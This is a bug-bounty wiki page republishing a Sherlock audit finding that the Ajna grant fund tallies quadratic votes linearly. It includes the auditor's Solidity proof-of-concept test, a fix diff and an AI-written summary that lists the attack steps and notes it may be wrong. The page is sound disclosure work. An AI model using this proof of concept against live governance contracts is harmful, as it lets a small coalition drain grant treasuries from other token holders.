Quadratic voting tally done wrong
The quadratic voting tally in the grant funding contract incorrectly sums votes linearly instead of squaring them, allowing a minority of token holders to control the outcome. An attacker with a small fraction of tokens could direct all grant funds to themselves.
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2023-01-ajna-judging/issues/64
Found by
cducrest-brainbot
Summary
Quadratic voting tally is done wrong, which results in a risk of hijacking the grant distribution with relatively low centralization/control over tokens.
Vulnerability Detail
Regarding grant coordination voting of the funding stage, the technical spec states (page24):
Each address that holds Ajna tokens can vote as much as they want on every proposal, including negative votes, subject to the constraint that the sum of the squares of their votes cannot exceed the square of the number of Ajna tokens held.
The code enforces that the sum of all votes of a user (in absolute value) is lower or equal than the square of its token holdings. The votes are not squared before being summed.
Impact
This leads to a higher centralization/control risk than should be. Alice can deploy a smart contract that proposes a funding of all the available tokens for that round towards itself. The contract can reward people delegating to it in case of a successful funding.
Due to the incorrect tally, if 100 token holders each have 1 token, Alice only needs to convince 10 of them to join her cause to successfully gain the funds. She would receive 10^2 = 100 votes, while all other voters could only produce 90 * 1^2 = 90 votes.
If the technical spec were respected and with the same token distribution of 100 tokens split among 100 holders, Alice would need to bribe 50 token holders to join her cause to gain the funding. She has 50^2 voting power and can vote once with50 while all other can vote 50 * 1^2 = 50.
I consider this difference significant enough to be considered medium severity.
Code Snippet
In StandardFunding.sol in _fundingVote() the votes for a proposal are counted by adding budgetAllocation_:
https://github.com/sherlock-audit/2023-01-ajna/blob/main/ecosystem-coordination/src/grants/base/StandardFunding.sol#L373
This budget allocation is withdrawn from the voter's voting budget: https://github.com/sherlock-audit/2023-01-ajna/blob/main/ecosystem-coordination/src/grants/base/StandardFunding.sol#L358-L368
The initial voting budget is the square of the token holdings at past snapshot: https://github.com/sherlock-audit/2023-01-ajna/blob/main/ecosystem-coordination/src/grants/GrantFund.sol#L126-L141
Tool used
Manual Review
Testing with one person holding 2 tokens beating three persons holding 1 token each:
<details><summary>StandardFundingAttack.t.sol</summary> <p>// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import { IGovernor } from "@oz/governance/IGovernor.sol";
import { IVotes } from "@oz/governance/utils/IVotes.sol";
import { SafeCast } from "@oz/utils/math/SafeCast.sol";
import { Funding } from "../src/grants/base/Funding.sol";
import { GrantFund } from "../src/grants/GrantFund.sol";
import { IStandardFunding } from "../src/grants/interfaces/IStandardFunding.sol";
import { Maths } from "../src/grants/libraries/Maths.sol";
import { GrantFundTestHelper } from "./utils/GrantFundTestHelper.sol";
import { IAjnaToken } from "./utils/IAjnaToken.sol";
import { console } from "forge-std/console.sol";
contract StandardFundingGrantFundTest is GrantFundTestHelper {
// used to cast 256 to uint64 to match emit expectations
using SafeCast for uint256;
IAjnaToken internal _token;
IVotes internal _votingToken;
GrantFund internal _grantFund;
// Ajna token Holder at the Ajna contract creation on mainnet
address internal _tokenDeployer = 0x666cf594fB18622e1ddB91468309a7E194ccb799;
address internal _tokenHolder1 = makeAddr("_tokenHolder1");
address internal _tokenHolder2 = makeAddr("_tokenHolder2");
address internal _tokenHolder3 = makeAddr("_tokenHolder3");
address internal _tokenHolder4 = makeAddr("_tokenHolder4");
address[] internal _votersArr = [
_tokenHolder1,
_tokenHolder2,
_tokenHolder3,
_tokenHolder4
];
uint256 _initialAjnaTokenSupply = 2_000_000_000 * 1e18;
// at this block on mainnet, all ajna tokens belongs to _tokenDeployer
uint256 internal _startBlock = 16354861;
mapping (uint256 => uint256) internal noOfVotesOnProposal;
uint256[] internal topTenProposalIds;
uint256[] internal potentialProposalsSlate;
uint256 treasury = 500_000_000 * 1e18;
function setUp() external {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), _startBlock);
vm.startPrank(_tokenDeployer);
// Ajna Token contract address on mainnet
_token = IAjnaToken(0x9a96ec9B57Fb64FbC60B423d1f4da7691Bd35079);
// deploy voting token wrapper
_votingToken = IVotes(address(_token));
// deploy growth fund contract
_grantFund = new GrantFund(_votingToken, treasury);
// initial minter distributes tokens to test addresses
// _transferAjnaTokens(_token, _votersArr, 50_000_000 * 1e18, _tokenDeployer);
changePrank(_tokenDeployer);
_token.transfer(_tokenHolder1, 2 * 1e18);
_token.transfer(_tokenHolder2, 1 * 1e18);
_token.transfer(_tokenHolder3, 1 * 1e18);
_token.transfer(_tokenHolder4, 1 * 1e18);
// initial minter distributes treasury to grantFund
_token.transfer(address(_grantFund), treasury);
}
/*************/
/*** Tests ***/
/*************/
function testQuadraticVotingTally() external {
_selfDelegateVoters(_token, _votersArr);
vm.roll(_startBlock + 50);
// start distribution period
_startDistributionPeriod(_grantFund);
uint256 distributionId = _grantFund.getDistributionId();
(, , , , uint256 gbc, ) = _grantFund.getDistributionPeriodInfo(distributionId);
// generate proposal targets
address[] memory ajnaTokenTargets = new address[](1);
ajnaTokenTargets[0] = address(_token);
// generate proposal values
uint256[] memory values = new uint256[](1);
values[0] = 0;
// generate proposal calldata
bytes[] memory proposalCalldata = new bytes[](1);
proposalCalldata[0] = abi.encodeWithSignature(
"transfer(address,uint256)",
_tokenHolder1,
gbc * 8/10
);
bytes[] memory proposalCalldata2 = new bytes[](1);
proposalCalldata2[0] = abi.encodeWithSignature(
"transfer(address,uint256)",
_tokenHolder2,
gbc * 7/10
);
// create and submit proposal
TestProposal memory proposal = _createProposalStandard(_grantFund, _tokenHolder1, ajnaTokenTargets, values, proposalCalldata, "Proposal for Ajna token transfer to tester address");
TestProposal memory proposal2 = _createProposalStandard(_grantFund, _tokenHolder2, ajnaTokenTargets, values, proposalCalldata2, "Proposal 2 for Ajna token transfer to tester address");
vm.roll(_startBlock + 200);
// screening period votes
_vote(_grantFund, _tokenHolder1, proposal.proposalId, voteYes, 1);
_vote(_grantFund, _tokenHolder2, proposal2.proposalId, voteYes, 1);
// skip forward to the funding stage
vm.roll(_startBlock + 600_000);
GrantFund.Proposal[] memory screenedProposals = _getProposalListFromProposalIds(_grantFund, _grantFund.getTopTenProposals(distributionId));
assertEq(screenedProposals.length, 2);
assertEq(screenedProposals[0].proposalId, proposal.proposalId);
assertEq(screenedProposals[0].votesReceived, 2 * 1e18);
assertEq(screenedProposals[1].proposalId, proposal2.proposalId);
assertEq(screenedProposals[1].votesReceived, 1 * 1e18);
// check initial voting power
uint256 votingPower = _grantFund.getVotesWithParams(_tokenHolder1, block.number, "Funding");
assertEq(votingPower, 4 * 1e18);
votingPower = _grantFund.getVotesWithParams(_tokenHolder2, block.number, "Funding");
assertEq(votingPower, 1 * 1e18);
votingPower = _grantFund.getVotesWithParams(_tokenHolder3, block.number, "Funding");
assertEq(votingPower, 1 * 1e18);
votingPower = _grantFund.getVotesWithParams(_tokenHolder4, block.number, "Funding");
assertEq(votingPower, 1 * 1e18);
_fundingVote(_grantFund, _tokenHolder1, proposal.proposalId, voteYes, 4 * 1e18);
_fundingVote(_grantFund, _tokenHolder2, proposal2.proposalId, voteYes, 1 * 1e18);
_fundingVote(_grantFund, _tokenHolder3, proposal2.proposalId, voteYes, 1 * 1e18);
_fundingVote(_grantFund, _tokenHolder4, proposal2.proposalId, voteYes, 1 * 1e18);
// check voting power after voting
votingPower = _grantFund.getVotesWithParams(_tokenHolder1, block.number, "Funding");
assertEq(votingPower, 0 * 1e18);
votingPower = _grantFund.getVotesWithParams(_tokenHolder2, block.number, "Funding");
assertEq(votingPower, 0 * 1e18);
votingPower = _grantFund.getVotesWithParams(_tokenHolder3, block.number, "Funding");
assertEq(votingPower, 0 * 1e18);
votingPower = _grantFund.getVotesWithParams(_tokenHolder4, block.number, "Funding");
assertEq(votingPower, 0 * 1e18);
// skip to the DistributionPeriod
vm.roll(_startBlock + 650_000);
uint256[] memory winningSlate = new uint256[](1);
winningSlate[0] = proposal.proposalId;
uint256[] memory losingSlate = new uint256[](1);
losingSlate[0] = proposal2.proposalId;
// The losing slate is valid
assertTrue(_grantFund.checkSlate(losingSlate, distributionId));
// The winning slate is valid and has more votes than the losing slate
assertTrue(_grantFund.checkSlate(winningSlate, distributionId));
}
}
Recommendation
Subtract the square of the votes from the voting budget when voting:
@@ -357,17 +361,10 @@ abstract contract StandardFunding is Funding, IStandardFunding {
// case where voter is voting against the proposal
if (budgetAllocation_ < 0) {
support = 0;
-
- // update voter budget remaining
- voter_.budgetRemaining += budgetAllocation_;
- }
- // voter is voting in support of the proposal
- else {
- // update voter budget remaining
- voter_.budgetRemaining -= budgetAllocation_;
}
+ voter_.budgetRemaining -= int256(Maths.wpow(uint256(Maths.abs(budgetAllocation_)), 2));
// update total vote cast
currentDistribution.quadraticVotesCast += uint256(Maths.abs(budgetAllocation_));
// update proposal vote tracking
proposal_.qvBudgetAllocated += budgetAllocation_;
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A small group of token holders could hijack the grant distribution with relatively low centralisation, as demonstrated by a test where one holder with 2 tokens outvotes three holders with 1 token each.
What the attacker needed
Attacker holds some Ajna tokens; attacker can convince other holders to delegate; grant funding round is active
The fix
The voting budget should be reduced by the square of the vote amount, not the raw amount, as shown in the recommendation.
How it was found
- Deploy a smart contract that proposes to send all round funds to itself.
- Convince 10 out of 100 token holders (each with 1 token) to delegate their votes to the contract.
- The contract votes with 100 votes (10 squared) while the remaining 90 holders can only cast 90 votes (90 times 1 squared).
- The proposal passes and the attacker receives the funds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Quadratic voting is a way to make it harder for rich people to dominate decisions: your voting power should grow with the square root of your tokens, so having 100 times more tokens gives only 10 times more votes. Here, the code mistakenly gave voting power equal to the square of your tokens, so having 10 times more tokens gave 100 times more votes. This let a small group outvote a larger group.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.